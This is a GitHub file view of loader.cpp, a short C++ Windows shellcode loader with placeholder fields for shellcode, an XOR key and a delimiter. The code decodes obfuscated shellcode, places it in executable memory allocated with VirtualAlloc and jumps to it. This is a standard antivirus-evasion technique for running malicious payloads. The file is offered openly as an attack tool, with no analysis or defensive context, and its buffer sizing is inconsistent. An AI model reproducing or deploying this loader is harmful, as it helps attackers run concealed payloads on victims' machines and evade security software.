-
Notifications
You must be signed in to change notification settings - Fork 6
Expand file tree
/
Copy pathloader.cpp
More file actions
35 lines (33 loc) · 769 Bytes
/
loader.cpp
File metadata and controls
35 lines (33 loc) · 769 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <iostream>
#include<Windows.h>
int main(int argc, char* argv[])
{
char buf[] = ""; /* input shellcode*/
char buf1[] = "";/* input shellcode*/
char key[] = "";/* input key*/
const char *target = "";/* input split*/
char* p;
char* q;
int length = 0;
int i = 0;
p = strtok(buf, target);
while (p) {
p = strtok(NULL, target);
length++;
}
unsigned char* sc = (unsigned char*)malloc(length / 2);
q = strtok(buf1, target);
while (q) {
std::cout << q << std::endl;
int tmp = int(atof(q));
for (int i = strlen(key); i >0; i--) {
tmp ^= int(key[i-1]);
}
sc[i] = (char)tmp;
q = strtok(NULL, target);
i++;
}
void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, sc, length);
((void(*)())exec)();
}